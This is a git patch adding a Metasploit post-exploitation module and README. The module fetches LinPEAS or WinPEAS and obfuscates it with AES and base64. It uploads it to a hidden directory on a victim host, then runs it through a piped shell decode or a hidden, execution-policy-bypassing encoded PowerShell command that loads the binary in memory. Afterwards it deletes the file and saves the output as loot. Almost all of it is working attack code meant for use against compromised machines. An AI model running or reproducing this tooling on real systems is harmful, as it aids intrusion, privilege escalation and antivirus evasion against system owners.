From eb96f247d707f1691efe9a263aa4006793908b3b Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Sun, 3 Oct 2021 20:00:07 -0400 Subject: [PATCH] metasploit --- metasploit/README.md | 54 +++++++++ metasploit/peass.rb | 262 +++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 316 insertions(+) create mode 100644 metasploit/README.md create mode 100644 metasploit/peass.rb diff --git a/metasploit/README.md b/metasploit/README.md new file mode 100644 index 0000000..a9e4f49c --- /dev/null +++ b/metasploit/README.md @@ -0,0 +1,54 @@ +# PEASS Post Exploitation Module for Metasploit + +You can use this module to **automatically execute a PEASS script from a meterpreter or shell session obtained in metasploit**. + +## Manual Installation +Copy the `peass.rb` file to the path `modules/post/multi/gather/` inside the metasploit installation. + +In Kali: `sudo cp ./peass.rb /usr/share/metasploit-framework/modules/post/multi/gather/` + +Now you can do `reload_all` inside a running msfconsole or the next time you launch a new msfconsole the peass module will be **automatically loaded**. + +## How to use it +``` +msf6 exploit(multi/handler) > use post/multi/gather/peass +msf6 post(multi/gather/peass) > show info + + Name: Multi PEASS launcher + Module: post/multi/gather/peass + Platform: BSD, Linux, OSX, Unix, Windows + Arch: + Rank: Normal + +Provided by: + Carlos Polop <@carlospolopm> + +Compatible session types: + Meterpreter + Shell + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + PARAMETERS no Parameters to use in the execution of the script + PASSWORD qzke5he7u5n6ijcxhlnj2bc2o556xool no Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used. + SESSION yes The session to run this module on. + TEMP_DIR no Path to upload the obfuscated PEASS script. By default "C:\Windows\System32\spool\drivers\color" is used in Windows and "/tmp" in unix. + TIMEOUT 900 no Timeout of the execution of the PEASS script (15min by default) + URL https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/wi yes Path to the PEASS script. Accepted: http(s):// URL or absolute local path. Linpeas: https://raw.githubusercontent.com/carlospolop/PEASS-ng + nPEASexe/binaries/Obfuscated%20Releases/winPEASany.exe /master/linPEAS/linpeas.sh + +Description: + This module will launch the indicated PEASS (Privilege Escalation + Awesome Script Suite) script to enumerate the system. You need to + indicate the URL or local path to LinPEAS if you are in some Unix or + to WinPEAS if you are in Windows. + +References: + https://github.com/carlospolop/PEASS-ng + https://www.youtube.com/watch?v=9_fJv_weLU0 +``` + +The options are pretty self-explanatory. Just notice that you can set parametes like "-h" in `PARAMETERS` and then linpeas/winpeas will just show the help (*just like when you execute them from a console*). + +**IMPORTANT**: You won't see any result until the execution of the script is completed. \ No newline at end of file diff --git a/metasploit/peass.rb b/metasploit/peass.rb new file mode 100644 index 0000000..4c773bf --- /dev/null +++ b/metasploit/peass.rb @@ -0,0 +1,262 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'uri' +require 'net/http' +require 'base64' +require 'openssl' +require 'tempfile' + +class MetasploitModule < Msf::Post + include Msf::Post::File + + def initialize(info={}) + super( update_info(info, + 'Name' => 'Multi PEASS launcher', + 'Description' => %q{ + This module will launch the indicated PEASS (Privilege Escalation Awesome Script Suite) script to enumerate the system. + You need to indicate the URL or local path to LinPEAS if you are in some Unix or to WinPEAS if you are in Windows. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Carlos Polop <@carlospolopm>' + ], + 'Platform' => %w{ bsd linux osx unix win }, + 'SessionTypes' => ['shell', 'meterpreter'], + 'References' => + [ + ['URL', 'https://github.com/carlospolop/PEASS-ng'], + ['URL', 'https://www.youtube.com/watch?v=9_fJv_weLU0'], + ] + )) + register_options( + [ + OptString.new('URL', [true, 'Path to the PEASS script. Accepted: http(s):// URL or absolute local path. Linpeas: https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh', "https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASexe/binaries/Obfuscated%20Releases/winPEASany.exe"]), + OptString.new('PASSWORD', [false, 'Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used.', rand(36**32).to_s(36)]), + OptString.new('TEMP_DIR', [false, 'Path to upload the obfuscated PEASS script. By default "C:\Windows\System32\spool\drivers\color" is used in Windows and "/tmp" in Unix.', '']), + OptString.new('PARAMETERS', [false, 'Parameters to pass to the script', nil]), + OptString.new('TIMEOUT', [false, 'Timeout of the execution of the PEASS script (15min by default)', 15*60]) + ]) + end + + def run + ps_var1 = rand(36**5).to_s(36) #Winpeas PS needed variable + + # Load PEASS script in memory + peass_script = load_peass() + print_good("PEASS script successfully retreived.") + + # Obfuscate loaded PEASS script + if datastore["PASSWORD"].length > 1 + # If no Windows, check if openssl exists + if !session.platform.include?("win") + openssl_path = cmd_exec("command -v openssl") + raise 'openssl not found in victim, unset the password of the module!' unless openssl_path.include?("openssl") + end + + # Get encrypted PEASS script in B64 + print_status("Encrypting PEASS and encoding it in Base64...") + + # Needed code to decrypt from unix + if !session.platform.include?("win") + aes_enc_peass_ret = aes_enc_peass(peass_script) + peass_script_64 = aes_enc_peass_ret["encrypted"] + key_hex = aes_enc_peass_ret["key_hex"] + iv_hex = aes_enc_peass_ret["iv_hex"] + decode_linpeass_cmd = "openssl aes-256-cbc -base64 -d -K #{key_hex} -iv #{iv_hex}" + + # Needed code to decrypt from Windows + else + # As the PS function is only capable of decrypting readable strings + # in Windows we encrypt the B64 of the binary and then load it in memory + # from the initial B64. Then: original -> B64 -> encrypt -> B64 + aes_enc_peass_ret = aes_enc_peass(Base64.encode64(peass_script)) #Base64 before encrypting it + peass_script_64 = aes_enc_peass_ret["encrypted"] + key_b64 = aes_enc_peass_ret["key_b64"] + iv_b64 = aes_enc_peass_ret["iv_b64"] + load_winpeas = get_ps_aes_decr() + + ps_var2 = rand(36**6).to_s(36) + load_winpeas += "$#{ps_var2} = DecryptStringFromBytesAes \"#{key_b64}\" \"#{iv_b64}\" $#{ps_var1};" + load_winpeas += "$#{rand(36**7).to_s(36)} = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($#{ps_var2}));" + end + + else + # If no Windows, check if base64 exists + if !session.platform.include?("win") + openssl_path = cmd_exec("command -v base64") + raise 'base64 not found in victim, set a 32B length password!' unless openssl_path.include?("base64") + end + + # Encode PEASS script + print_status("Encoding PEASS in Base64...") + peass_script_64 = Base64.encode64(peass_script) + + # Needed code to decode it in Unix and Windows + decode_linpeass_cmd = "base64 -d" + load_winpeas = "$#{rand(36**6).to_s(36)} = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($#{ps_var1}));" + + end + + # Write obfuscated PEASS to a local file + file = Tempfile.new('peass_metasploit') + file.write(peass_script_64) + file.rewind + + # Upload file to victim + temp_peass_name = rand(36**5).to_s(36) + if datastore["TEMP_DIR"] != "" + temp_path = datastore["TEMP_DIR"] + if temp_path[0] == "/" + temp_path = temp_path + "/#{temp_peass_name}" + else + temp_path = temp_path + "\\#{temp_peass_name}" + end + + elsif session.platform.include?("win") + temp_path = "C:\\Windows\\System32\\spool\\drivers\\color\\#{temp_peass_name}" + else + temp_path = "/tmp/#{temp_peass_name}" + end + + print_status("Uploading obfuscated peass to #{temp_path}...") + upload_file(temp_path, file.path) + print_good("Uploaded") + + # Run PEASS script + begin + tmpout = "\n" + print_status "Running PEASS..." + + # If Windows, suppose Winpeas was loaded + if session.platform.include?("win") + cmd = "$#{ps_var1} = Get-Content -Path #{temp_path};" + cmd += load_winpeas + cmd += "$a = [winPEAS.Program]::Main(\"#{datastore['PARAMETERS']}\");" + cmd += "del #{temp_path};" + + # Transform to Base64 in UTF-16LE format + cmd_utf16le = cmd.encode("utf-16le") + cmd_utf16le_b64 = Base64.encode64(cmd_utf16le).gsub(/\r?\n/, "") + tmpout << cmd_exec("powershell.exe", args="-ep bypass -WindowStyle hidden -nop -enc #{cmd_utf16le_b64}", time_out=datastore["TIMEOUT"]) + + # If unix, then, suppose linpeas was loaded + else + tmpout << cmd_exec("cat #{temp_path} | #{decode_linpeass_cmd} | sh -s -- #{datastore['PARAMETERS']}; rm #{temp_path}", args=nil, time_out=datastore["TIMEOUT"]) + end + + print "\n#{tmpout}\n\n" + command_log = store_loot("PEASS", "text/plain", session, tmpout, "peass.txt", "PEASS script execution") + print_good("PEASS output saved to: #{command_log}") + + rescue ::Exception => e + print_bad("Error Running PEASS: #{e.class} #{e}") + end + + # Close and delete the temporary file + file.close + file.unlink + end + + def load_peass + # Load the PEASS script from a local file or from Internet + peass_script = "" + url_peass = datastore['URL'] + + if url_peass.include?("http://") || url_peass.include?("https://") + target = URI.parse url_peass + raise 'Invalid URL' unless target.scheme =~ /https?/ + raise 'Invalid URL' if target.host.to_s.eql? '' + + res = Net::HTTP.get_response(target) + peass_script = res.body + + raise "Something failed downloading PEASS script from #{url_peass}" if peass_script.length < 500 + + else + raise "PEASS local file (#{url_peass}) does not exist!" unless ::File.exist?(url_peass) + peass_script = File.read(url_peass) + raise "Something falied reading PEASS script from #{url_peass}" if peass_script.length < 500 + end + + return peass_script + end + + def aes_enc_peass(peass_script) + # Encrypt the PEASS script with aes + key = datastore["PASSWORD"] + iv = OpenSSL::Cipher::Cipher.new('aes-256-cbc').random_iv + + c = OpenSSL::Cipher.new('aes-256-cbc').encrypt + c.iv = iv + c.key = key + encrypted = c.update(peass_script) + c.final + encrypted = [encrypted].pack('m') + + return { + "encrypted" => encrypted, + "key_hex" => key.unpack('H*').first, + "key_b64" => Base64.encode64(key).strip, + "iv_hex" => iv.unpack('H*').first, + "iv_b64" => Base64.encode64(iv).strip + } + end + + def get_ps_aes_decr + # PS code to decrypt Winpeas + return '# Taken from https://gist.github.com/Darryl-G/d1039c2407262cb6d735c3e7a730ee86 +function DecryptStringFromBytesAes([String] $key, [String] $iv, [String] $encrypted) { + [byte[]] $encrypted = [Convert]::FromBase64String($encrypted); + [byte[]] $key = [Convert]::FromBase64String($key) + [byte[]] $iv = [Convert]::FromBase64String($iv) + + # Declare the stream used to encrypt to an in memory + # array of bytes. + [System.IO.MemoryStream] $msDecrypt + + # Declare the RijndaelManaged object + # used to encrypt the data. + [System.Security.Cryptography.RijndaelManaged] $aesAlg = new-Object System.Security.Cryptography.RijndaelManaged + + [String] $plainText="" + + try { + # Create a RijndaelManaged object + # with the specified key and IV. + $aesAlg = new-object System.Security.Cryptography.RijndaelManaged + $aesAlg.Mode = [System.Security.Cryptography.CipherMode]::CBC + $aesAlg.KeySize = 256 + $aesAlg.BlockSize = 128 + $aesAlg.key = $key + $aesAlg.IV = $iv + + # Create an encryptor to perform the stream transform. + [System.Security.Cryptography.ICryptoTransform] $decryptor = $aesAlg.CreateDecryptor($aesAlg.Key, $aesAlg.IV); + + # Create the streams used for encryption. + $msDecrypt = new-Object System.IO.MemoryStream @(,$encrypted) + $csDecrypt = new-object System.Security.Cryptography.CryptoStream($msDecrypt, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read) + $srDecrypt = new-object System.IO.StreamReader($csDecrypt) + + #Write all data to the stream. + $plainText = $srDecrypt.ReadToEnd() + $srDecrypt.Close() + $csDecrypt.Close() + $msDecrypt.Close() + } + finally { + # Clear the RijndaelManaged object. + if ($aesAlg -ne $null){ + $aesAlg.Clear() + } + } + + # Return the Decrypted bytes from the memory stream. + return $plainText +} +' + end +end